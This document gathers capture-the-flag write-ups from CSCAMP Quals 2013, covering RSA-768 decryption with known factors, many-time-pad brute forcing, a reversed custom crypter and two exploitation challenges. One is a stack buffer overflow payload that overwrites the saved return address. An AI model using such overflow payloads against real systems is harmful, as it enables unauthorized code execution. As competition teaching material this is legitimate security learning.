CSCAMP CTF Quals 2013 - Crypto 400 - [Team SegFault]

We were given two files for the challenge - public key and encrypted message. Reading the public key with openssl we got

[ctf@renorobert 400]$ openssl rsa -in public.pem -pubin -text -noout 
Public-Key: (768 bit)
Modulus:
    00:ca:d9:84:55:7c:97:e0:39:43:1a:22:6a:d7:27:
    f0:c6:d4:3e:f3:d4:18:46:9f:1b:37:50:49:b2:29:
    84:3e:e9:f8:3b:1f:97:73:8a:c2:74:f5:f6:1f:40:
    1f:21:f1:91:3e:4b:64:bb:31:b5:5a:38:d3:98:c0:
    df:ed:00:b1:39:2f:08:89:71:1c:44:b3:59:e7:97:
    6c:61:7f:cc:73:4f:06:e3:e9:5c:26:47:60:91:b5:
    2f:46:2e:79:41:3d:b5
Exponent: 65537 (0x10001)

[ctf@renorobert 400]$ openssl rsa -in public.pem -pubin -text -noout | grep '^ ' | tr -dc '[0-9a-f]'
00cad984557c97e039431a226ad727f0c6d43ef3d418469f1b375049b229843ee9f83b1f97738ac274f5f61f401f21f1913e4b64bb31b55a38d398c0dfed00b1392f0889711c44b359e7976c617fcc734f06e3e95c26476091b52f462e79413db5

Its a RSA-768 and the N value is already factorized. Factors are available publicly

p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917

Generate private key for p and q values and decrypt the file

sage: p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
sage: q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
sage: phi_n = (p-1) * (q-1)
sage: e = 65537
sage: d = inverse_mod(e, phi_n)
sage: d
703813872109751212728960868893055483396831478279095442779477323396386489876250832944220079595968592852532432488202250497425262918616760886811596907743384527001944888359578241816763079495533278518938372814827410628647251148091159553

>>> from Crypto.PublicKey import RSA
>>> keypair = RSA.generate(1024)
>>> keypair.n = 1230186684530117755130494958384962720772853569595334792197322452151726400507263657518745202199786469389956474942774063845925192557326303453731548268507917026122142913461670429214311602221240479274737794080665351419597459856902143413
>>> keypair.e = 65537
>>> keypair.d = 703813872109751212728960868893055483396831478279095442779477323396386489876250832944220079595968592852532432488202250497425262918616760886811596907743384527001944888359578241816763079495533278518938372814827410628647251148091159553
>>> keypair.p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
>>> keypair.q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
>>> private = open('private.pem', 'w')
>>> private.write(keypair.exportKey())
>>> private.close()

[ctf@renorobert 400]$ openssl rsautl -decrypt -in message.enc -out /dev/tty -inkey private.pem
F4ct0r!zaTi0N

Flag for the challenge is F4ct0r!zaTi0N

CSCAMP CTF Quals 2013 - Crypto 300 - [Team SegFault]

We were given about 12 encrypted messages and the challenge description said Many Time Pad and 12th message holds the flag. Below is the encryption algorithm

import os

key = os.urandom(1024)
messages = [message.rstrip('\n') for message in open("messages")]

def xor_string(x, y):

    if len(x) > len(y):
        return ''.join([chr(ord(z) ^ ord(p)) for (z, p) in zip(x[:len(y)], y)])
    else:
        return ''.join([chr(ord(z) ^ ord(p)) for (z, p) in zip(x, y[:len(x)])])

print key.encode('hex')

for i in range(0, len(messages)):
    print "Message #{0}: {1}".format(i, xor_string(key, messages[i]).encode('hex'))

The messages are encrypted by XOR encryption using randomly chosen key whose length is equal to length of plain text. To decrypt the flag message we decided to bruteforce the key. Below is the idea:

[*] Bruteforce key in range of 0 to 0xff for each byte of 12 cipher texts
[*] See if the chosen key is able to decrypt a byte of cipher text to a printable character in charset [space, 0-9, A-Z, a-z] for all 12 given cipher texts
[*] Such a chosen key is a possible candidate to be final key

The above method created some collisions but was good enough to retrieve the flag. Below is the code

#!/usr/bin/env python
# cry300.py

ciphers = ['2838febbef072500b57a8e41119b051ad0174127b3f11208bd094d092bb9b6edfe0b655377a1dd6ccb5870d3ae250d91b9d097b5d13b569545c9fd0f3940195356d89ed9a99140b44fca2e5dffe40f37f07a',
'3a39badcc70c6143b47e981500974057dd100626a9f10e09af5d021731b9a8e1ec4c671c71abdd79cd5970fdac204a90f0c998f1f33012c14edeb802244215071edbccdeaddc14b14b862f1cece10572e56c80fb267a0a0b93e0458fdc3059c95ba33af02189', '2b23eebbdf0d6141b47ed9121081051ac816473be7a50e05fc17180438f4a4e2f90b6d5a38829269855523b4a0224e9aa2c297bfd37f028e0dd8af16244f514611df85d8b7c514a8428f271cfae70831eb298ef52772431cc1f65198d1740dc957ed29eb',
'2838febbef072500a57a950d0097404ed41b062bb5a8460cbd1309401af8b3f8e50b63527ce58965c01c37f5b5294887b9c899f1c030118459c4b8117048170702d68996b3d040b958996a5fece30d37e72985ff6a4c4f0992a54595dd743ece5aa33df933c489caa16c8290717a85d2d470f6a6529d', '2f39e8bbdc002452a33b9012459d0f1ace1b553fa2b21240b31b4d103aebb2e3e358224b71b1952de25334', '213fe9bbc00d2044e67a9705459b09499c164726b5a24617b90f084028f1a8f8e80b6e5573a0dd7aca533cb4a0320d82b8cf8ab4943e05c15ec2b21470461f4356d685c5e4d44db959ca3d59ffea4133f0298cba2c734b0584a54b9d993210d35b', '2838febbdc002400a36d9c0f0c9d071add10426fb3b90340b1121f0e36f7a6acfa4e705938b19568855a39f2b5290d91b1df', '2533eebbce092d4ce67a95120ad31355d11b0620a1f11208b95d050131fda7f9e15822537ee58d78d74c3fe7a4614b9aa28696b4c67f178f498cb1063151140702d689dbe4c55cbd5eca3954e8af0c33fa298af62f7e444895ed4196993517c51ef12bfa318f9882a87dd0d96b3586', '3d3effbbe4271364e6739c001797404ed41b0639a8b80505fc120b4026f6b4fead5c6d4e7cb6dd6ccb5870e3a0320d82a2c98ab9943e18850ddfaa022242515417c785d8a3', '3d3effbbe4271364e662961417d32755d85e5127aeb20e40bb1208137ffba4eae259671c61aa882dcd5970e7a9204199f0c097b6dc2b568742defd1a3f52514615dd83c4a0d85abb0a9e251cece30d72f7618cee6a774f4885ec40dbdf3b0b8147ec3bb82d8adde7a761d28d253897d5c822f4e94496af2235eb4bab26',
'2b23eebbc91b6146a969d9180a86404ec90c486fbebe1340bd1309402bf8aae9ad526d496ae59762d04e3ef1b861449ba4c9dea5dc3a569644c0b90622491454059e8ecfe4c55cb90a9d2b45ade00772f76188ba187a4e4892e045', '2437e3f9cd48384fb3718c1211950f4fd21a4b2ea9a80d05a50e4d092cb9b5e4e80b63526bb2987f85453fe1e1324890bb']

# possible charset space, 0-9, A-Z, a-z
charset = [32] + range(48, 58) + range(65, 91) + range(97, 123)
poss = []
exception = False

# for all characters in cipher text of flag message
for i in range(len(ciphers[11].decode('hex'))): 
    sol = []
    for key in range(256):   # for all possible keys
        pad_size = 0
        for cipher in range(len(ciphers)): # for each cipher text
            try:
                byte = ord(ciphers[cipher].decode('hex')[i])
            except IndexError:
                exception = True
                continue
            if (byte ^ key) in charset:  # check if a key can decrypt to printable text
                pad_size += 1
                if not exception:
                    if pad_size == len(ciphers):
                        sol.append(chr(byte ^ key))
                else:
                    if pad_size == len(ciphers) - 1:
                        sol.append(chr(byte ^ key))
    poss.append(sol)
print poss

[ctf@renorobert CSCAMP]$ python cry300.py
[['m', 'n', 'h', 'i', 'j', 'M', 'N', 'H', 'I', 'J'], ['g', 'f', 'e', 'c', 'b', 'a', 'm', 'l', 'G', 'F', 'E', 'C', 'B', 'A', 'M', 'L'], ['i', 'h', 'o', 'n', 'l', 'y'], ['q', 'p', 's', 'r', 'u', 't', 'w', 'v', 'b'], ['H', 'K', 'E', 'G', 'F', 'A', 'h', 'k', 'e', 'g', 'f', 'a'], [' '], ['y', 'l', 'm', 'o'], ['o', 'z', 'y'], ['u', 'c', 'b'], ['z', 'j'], ['u'], ['s', 'e'], ['t'], ['f'], ['o'], ['m', 'l', 'b', 'u'], ['n'], ['d'], ['m', 'y'], ['a'], ['n'], ['y'], ['k', 'y', 'z'], ['e'], ['l', 'n', 'y'], ['s'], [' '], ['i'], ['s'], [' '], ['u', 't', 'w', 'v', 'p', 'e', 'k', 'U', 'T', 'W', 'V', 'P', 'E', 'K'], ['h'], ['e'], [' ', '1', '0', '6', '5', '4'], ['a', 'w', 't'], ['n'], ['s'], ['w', 'a'], ['e'], ['r'], [' '], ['y'], ['o'], ['e', 'd', 'u'], [' '], ['s', 'b', 'c', 'a'], ['e'], ['S', 'X', 'Y', 'B', 'C', 'D', 'E', 'F', 'G', 's', 'x', 'y', 'b', 'c', 'd', 'e', 'f', 'g'], ['z', 's', 'r', 'k']]

Some characters decrypted without collisions, rest of the characters were guessed as youjustfoundmanykeys is the answer you seek. Flag for the challenge is youjustfoundmanykeys

Cscamp CTF Quals - Crypto 300 [Team xbios]

Challenge: We received a crypter and a cypher, the aim is to decrypt the cypher and get the original key that is Alphanum and 11 bytes length : Crypter : in attachment Cypher : 7f e7 ff ce 0 98 15 dd 88 fb 6e Also we have found that the crc-Xmodem of the plaintext (key) = 0x8124 PS : If you think you found the right key and doesn't work (a collision), please be sure that the CRC-XMODEM value is equal to 0x8124 before sending us request

We have the crypter which is a ELF 64-bit executable and 11 byte cipher text. First we tried analysing the output giving random inputs and also looked for one to one mapping. But this attempt failed.

[ctf@renorobert Crypto]# file crypt 
crypt: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
[ctf@renorobert Crypto]# ./crypt qwerty
your encrypted key is : ce be 56 e6 8a 77 0 0 0 0 0 
[ctf@renorobert Crypto]# cat decipher.py
#!/usr/bin/env python
import subprocess

crypter = "./crypt"
data = ''
for i in range(32,127):
    var = chr(i)
    data = var+': '+subprocess.check_output((crypter,var))
    print data

[ctf@renorobert Crypto]# python decipher.py | grep 7f
S: your encrypted key is : 7f 0 0 0 0 0 0 0 0 0 0 
T: your encrypted key is : 7f 0 0 0 0 0 0 0 0 0 0 
m: your encrypted key is : 7f 0 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Crypto]# python decipher.py | grep e7
h: your encrypted key is : e7 0 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Crypto]# python decipher.py | grep ff
1: your encrypted key is : ff 0 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Crypto]# python decipher.py | grep ce
I: your encrypted key is : ce 0 0 0 0 0 0 0 0 0 0 
q: your encrypted key is : ce 0 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Crypto]# python decipher.py | grep ': 0'
s: your encrypted key is : 0 0 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Crypto]# python decipher.py | grep 98
[ctf@renorobert Crypto]# python decipher.py | grep 15
[ctf@renorobert Crypto]# python decipher.py | grep dd

Then we decided to look more into the binary to understand what's really happening. After some analysis and reversing we wrote the python version of the crypter.

#!/usr/bin/env python
#crypt.py
import sys

arg_2 = [0x01,0xab,0xbf,0x0e,0x1b,0xc9,0xe6,0x8c,0x4d,0xe5,0x56,0x44,0x2d,0x92,0xe4,0x9e,0xdb,0x50,0xe3,0xed,0x82,0xfa,0xda,0x79,0x1f,0x6e,0xa4,0xfc,0xc5,0xbe,0x66,0xb5,0x78,0xcc,0xc2,0xb3,0xd0,0xb0,0x5c,0xe2,0x9f,0x52,0xa1,0x72,0x35,0x24,0x8e,0xa7,0x5e,0xe8,0x5b,0xc0,0xb2,0x49,0xb6,0xfe,0x09,0x06,0x04,0x20,0x1d,0xf5,0x3f,0x51,0x76,0xd7,0xff,0xf2,0xc1,0x83,0x87,0x28,0x99,0xc4,0x90,0xbd,0xbb,0xd3,0xbc,0xea,0xa2,0xe0,0x81,0xa9,0xdd,0x86,0x94,0x74,0x8f,0x5d,0xd6,0x37,0x2f,0xd2,0x88,0xe7,0x62,0x6c,0x10,0xde,0x7b,0x47,0x17,0xa0,0x97,0x26,0x9a,0xee,0xef,0xa3,0x69,0x0b,0xfd,0x8a,0xac,0x61,0x84,0xb1,0xa8,0xb9,0x7a,0xc7,0x22,0x0a,0xf9,0x68,0xba,0x64,0x32,0x89,0x13,0xb8,0xa5,0x73,0x67,0x6f,0x7d,0x3c,0x48,0x30,0xae,0x2c,0xeb,0x38,0x19,0x75,0xaf,0x41,0x12,0xc8,0x70,0x1e,0x29,0x45,0x7e,0x9d,0x43,0x7f,0x65,0x3a,0x08,0xe1,0x2a,0x60,0xcf,0x36,0x31,0x5f,0x85,0x23,0x4e,0x2b,0x18,0xfb,0x5a,0x80,0x77,0x8b,0x7c,0xa6,0x93,0x34,0x46,0xcb,0xdc,0xe9,0xf0,0x0c,0x8d,0x42,0x14,0x59,0x40,0xd9,0xd4,0x4b,0x6a,0x11,0x16,0x6b,0x0d,0x4a,0xcd,0x53,0x54,0x96,0x07,0x9c,0xf8,0x55,0x71,0xf7,0xd8,0x4f,0x3b,0xce,0x39,0xec,0xd1,0x3e,0x03,0xf1,0x25,0xd5,0x58,0x2e,0x3d,0x00,0x05,0xaa,0xb7,0x98,0xdf,0x02,0x57,0x9b,0xb4,0x95,0x33,0x91,0x21,0x27,0x15,0x4c,0x1a,0x6d,0xf6,0xf3,0xca,0xc3,0x1c,0x0f,0xc6,0xf4,0xad,0x63]

def encrypt(arg_1,arg_2):
    match = 0
    var_2 = 0
    var_3 = 0
    while 1:
        if len(arg_1) > var_3:
            for var_4 in range(256):
                edx = arg_1[var_3]
                eax = arg_2[var_4]
                if eax == edx:
                    match = 1
                    var_5 = var_4
            if match == 1:
                comp = arg_1[var_3] ^ var_5
                arg_1[var_2] = comp
                var_2 += 1
                match  = 0
                var_3 += 1
                if comp == 0:   # Effect of string length calculation
                    return arg_1
            else:
                var_3 += 1
       else:
           return arg_1

arg_1 = []
plain = sys.argv[1]
for i in plain:
    arg_1.append(ord(i))
r1 = encrypt(arg_1, arg_2)
r2 = encrypt(r1, arg_2)
for k in r2:
    sys.stdout.write(hex(k)+': ')
print ' '

We can see that crypter performs two rounds of operation over the plain text. The collision mentioned is the effect of xor operation. Whenever the xor operation returned 0, the crypter returns with no further operation as string length calculation stops with null byte. Since the cipher was only 11 bytes long, we decided to grep through the results of cipher text for a given plain text.

[ctf@renorobert Brute]# python decipher.py T | grep e7
Th: your encrypted key is : 7f e7 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Brute]# python decipher.py S | grep e7
Sh: your encrypted key is : 7f e7 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Brute]# python decipher.py Th | grep ff
Th1: your encrypted key is : 7f e7 ff 0 0 0 0 0 0 0 0 
[ctf@renorobert Brute]# python decipher.py Th1 | grep ce
Th1I: your encrypted key is : 7f e7 ff ce 0 0 0 0 0 0 0 
Th1q: your encrypted key is : 7f e7 ff ce 0 0 0 0 0 0 0
[ctf@renorobert Brute]# python decipher.py Th1I | grep 'ff ce 0'
Th1Is: your encrypted key is : 7f e7 ff ce 0 0 0 0 0 0 0 

Finally we got the following possible characters [['T','m','S'],'h','1',['I','q'],'s',['m','S','T'],'h','3','K','e',['y','Q']]. This can be easily bruteforced against the CRC-XMODEM value of 0x8124. But we didn't do that, the string "Th1IsTh3Key" made more sense to us. Checking its CRC-XMODEM value, we were right. So the key is Th1IsTh3Key

>>> hex(crc16.crc16xmodem('Th1IsTh3Key'))
'0x8124'

Cscamp CTF Quals - Exploitation 300 [Team xbios]

Exploitation 300 is also a ELF 64-bit LSB executable. Vulnerability is a classic buffer overflow, we have to overwrite saved $rip with the address of cat_key function to print the flag. The binary uses strncpy() to copy data into buffer $rbp-0x110. The vulnerability is that we can control the arguments used by strncpy(), source buffer and the number of bytes to be copied.

   0x00000000004006a6 <+61>: callq  0x400550 <atoi@plt>   // argv[1]
   0x00000000004006ab <+66>: mov    %eax,-0x8(%rbp)       // return value
   0x00000000004006ae <+69>: mov    -0x120(%rbp),%rax
   0x00000000004006b5 <+76>: add    $0x10,%rax
   0x00000000004006b9 <+80>: mov    (%rax),%rax
   0x00000000004006bc <+83>: mov    %rax,%rdi
   0x00000000004006bf <+86>: mov    $0x0,%eax
   0x00000000004006c4 <+91>: callq  0x400550 <atoi@plt>  // argv[2]
   0x00000000004006c9 <+96>: mov    %eax,-0x4(%rbp)      // return value
   0x00000000004006cc <+99>: mov    -0x4(%rbp),%eax
   0x00000000004006cf <+102>: movslq %eax,%rdx
   0x00000000004006d2 <+105>: mov    -0x8(%rbp),%eax      
   0x00000000004006d5 <+108>: cltq   
   0x00000000004006d7 <+110>: shl    $0x3,%rax     // shl by 3 ie %rax * 2^3 ie (%rax = %rax * 8)
   0x00000000004006db <+114>: add    -0x120(%rbp),%rax // points into argv array based on argv[1]
   0x00000000004006e2 <+121>: mov    (%rax),%rcx
   0x00000000004006e5 <+124>: lea    -0x110(%rbp),%rax
   0x00000000004006ec <+131>: mov    %rcx,%rsi
   0x00000000004006ef <+134>: mov    %rax,%rdi
   0x00000000004006f2 <+137>: callq  0x400560 <strncpy@plt>

(gdb) p/x &cat_key
$1 = 0x400654

We need 280 bytes to overwrite saved $rbp and 288 bytes to overwrite saved $rip. Saved $rip is the address of __libc_start_main at address 0x00007fffxxxxxxxx. So this is our final payload

$ /levels/level200/level200 3 286 `python -c 'print "A"*280+"\x54\x06\x40\x00\x00\x00"'`
You entred : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT @
key is : b9240c45d606dc90d0df83f9818b59cd

Cscamp CTF Quals - Exploitation 200 [Team xbios]

For expliotation 200 we were given a ELF 64-bit LSB executable. The binary takes a password as input, if we get the password right, setuid() and system() functions are called which will eventually print the flag from a file. Disassembly shows a series of movb instruction, writing some value into the stack at address range between $rbp-0x12 to $rbp-0x20
data = [0x64, 0x36, 0x34, 0x38, 0x37, 0x65, 0x36, 0x39, 0x62, 0x65, 0x38, 0x64, 0x38, 0x35, 0x31 ]
Then there is a loop which checks user input, against this value. By reading the value from $rbp-0x20 we get the password. Input the password and get the flag

// This is the loop
   0x0000000000400783 <+177>: movl   $0x0,-0x38(%rbp)
   0x000000000040078a <+184>: jmp    0x4007c0 <main+238>
   0x000000000040078c <+186>: lea    -0x20(%rbp),%rdx
   0x0000000000400790 <+190>: mov    -0x38(%rbp),%eax
   0x0000000000400793 <+193>: cltq   
   0x0000000000400795 <+195>: lea    (%rdx,%rax,1),%rax
   0x0000000000400799 <+199>: movzbl (%rax),%edx
   0x000000000040079c <+202>: lea    -0x30(%rbp),%rcx
   0x00000000004007a0 <+206>: mov    -0x38(%rbp),%eax
   0x00000000004007a3 <+209>: cltq   
   0x00000000004007a5 <+211>: lea    (%rcx,%rax,1),%rax
   0x00000000004007a9 <+215>: movzbl (%rax),%eax
   0x00000000004007ac <+218>: cmp    %al,%dl
   0x00000000004007ae <+220>: je     0x4007bc <main+234>
   0x00000000004007b0 <+222>: mov    $0x400920,%edi
   0x00000000004007b5 <+227>: callq  0x400568 <puts@plt>
   0x00000000004007ba <+232>: jmp    0x4007f5 <main+291>
   0x00000000004007bc <+234>: addl   $0x1,-0x38(%rbp)
   0x00000000004007c0 <+238>: cmpl   $0xf,-0x38(%rbp)
   0x00000000004007c4 <+242>: jle    0x40078c <main+186>

Breakpoint 1, 0x000000000040078c in main ()
(gdb) x/i $rip
=> 0x40078c <main+186>: lea    -0x20(%rbp),%rdx
(gdb) x/s $rbp-0x20
0x7fffffffe060:  "d6487e69be8d851"

$ ./level100 d6487e69be8d851
Congratulation, let me grab you content of key.txt
YOUR KEY IS : e4783253f92332ddb7d30a24cd9d1541